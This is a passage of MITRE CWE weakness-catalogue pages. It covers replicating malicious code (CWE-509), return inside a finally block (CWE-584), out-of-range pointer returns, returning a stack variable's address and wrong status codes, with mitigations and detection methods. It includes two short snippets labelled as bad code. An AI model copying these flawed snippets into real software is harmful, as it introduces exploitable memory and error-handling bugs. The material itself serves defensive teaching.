MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1162SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1167SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1170SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingARR32-CCWE More AbstractEnsure size arguments for variable length arrays are in a valid range
CERT C Secure CodingERR34-CImpreciseDetect errors when converting a string to a number
CERT C Secure CodingEXP30-CCWE More AbstractDo not depend on the order of evaluation for side effects
CERT C Secure CodingEXP33-CCWE More AbstractDo not read uninitialized memory
CERT C Secure CodingFIO46-CCWE More AbstractDo not access a closed file
CERT C Secure CodingINT34-CCWE More AbstractDo not shift an expression by a negative number of bits or by greater than or equal to the number of bits that exist in the operand
CERT C Secure CodingINT36-CCWE More AbstractConverting a pointer to integer or integer to pointer
CERT C Secure CodingMEM30-CCWE More AbstractDo not access freed memory
CERT C Secure CodingMSC14-CDo not introduce unnecessary platform dependencies
CERT C Secure CodingMSC15-CDo not depend on undefined behavior
CERT C Secure CodingMSC37-CCWE More AbstractEnsure that control never reaches the end of a non-void function
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-03-03
(CWE 1.3, 2009-03-10)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-509: Replicating Malicious Code (Virus or Worm)

Weakness ID: 509
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or the product.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.507Trojan Horse
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands

+ Potential Mitigations

Phase: Operation

Antivirus software scans for viruses or worms.

Phase: Installation

Always verify the integrity of the software that is being installed.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.904SFP Primary Cluster: Malware
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
LandwehrReplicating (virus)
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Landwehr
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Replicating (virus)
2008-04-11Replicating Malicious Code (virus)

CWE-584: Return Inside Finally Block

Weakness ID: 584
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The code has a return statement inside a finally block, which will cause any thrown exception in the try block to be discarded.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.705Incorrect Control Flow Scoping
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Alter Execution Logic

+ Demonstrative Examples

Example 1

In the following code excerpt, the IllegalArgumentException will never be delivered to the caller. The finally block will cause the exception to be discarded.

(bad code)
Example Language: Java 
try {
...
throw IllegalArgumentException();
}
finally {
return r;
}
+ Potential Mitigations

Phase: Implementation

Do not use a return statement inside the finally block. The finally block should have "cleanup" code.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.851The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.961SFP Secondary Cluster: Incorrect Exception Behavior
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1141SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)ERR04-JDo not complete abruptly from a finally block
The CERT Oracle Secure Coding Standard for Java (2011)ERR05-JDo not let checked exceptions escape from a finally block
Software Fault PatternsSFP6Incorrect Exception Behavior
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-466: Return of Pointer Value Outside of Expected Range

Weakness ID: 466
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A function can return a pointer to memory that is outside of the buffer that the pointer is expected to reference.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.465Pointer Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Memory; Modify Memory

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.738CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.872CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

This entry should have a chaining relationship with CWE-119 instead of a parent / child relationship, however the focus of this weakness does not map cleanly to any existing entries in CWE. A new parent is being considered which covers the more generic problem of incorrect return values. There is also an abstract relationship to weaknesses in which one component sends incorrect messages to another component; in this case, one routine is sending an incorrect value to another.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsIllegal Pointer Value
Software Fault PatternsSFP1Glitch in computation
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Maintenance_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings, White_Box_Definitions
2020-02-24CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Illegal Pointer Value

CWE-562: Return of Stack Variable Address

Weakness ID: 562
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.
+ Extended Description
Because local variables are allocated on the stack, when a program returns a pointer to a local variable, it is returning a stack address. A subsequent function call is likely to re-use this same stack address, thereby overwriting the value of the pointer, which no longer corresponds to the same variable since a function's stack frame is invalidated when it returns. At best this will cause the value of the pointer to change unexpectedly. In many cases it causes the program to crash the next time the pointer is dereferenced.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.758Reliance on Undefined, Unspecified, or Implementation-Defined Behavior
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.672Operation on a Resource after Expiration or Release
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.825Expired Pointer Dereference
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1006Bad Coding Practices
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability
Integrity
Confidentiality

Technical Impact: Read Memory; Modify Memory; Execute Unauthorized Code or Commands; DoS: Crash, Exit, or Restart

If the returned stack buffer address is dereferenced after the return, then an attacker may be able to modify or read memory, depending on how the address is used. If the address is used for reading, then the address itself may be exposed, or the contents that the address points to. If the address is used for writing, this can lead to a crash and possibly code execution.
+ Demonstrative Examples

Example 1

The following function returns a stack address.

(bad code)
Example Language:
char* getName() {
char name[STR_MAX];
fillInName(name);
return name;
}
+ Potential Mitigations

Phase: Testing

Use static analysis tools to spot return of the address of a stack variable.
+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.748CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1156SEI CERT C Coding Standard - Guidelines 02. Declarations and Initialization (DCL)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingDCL30-CCWE More SpecificDeclare objects with appropriate storage durations
CERT C Secure CodingPOS34-CDo not call putenv() with a pointer to an automatic variable as the argument
Software Fault PatternsSFP1Glitch in computation
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2010-09-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Common_Consequences
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Stack Address Returned

CWE-393: Return of Wrong Status Code

Weakness ID: 393
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A function or operation returns an incorrect return value or status code that does not indicate an error, but causes the product to modify its behavior based on the incorrect result.
+ Extended Description
This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the product to assume that an action is safe, even when it is not.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.703Improper Check or Handling of Exceptional Conditions
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.684Incorrect Provision of Specified Functionality
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
+ Modes Of Introduction
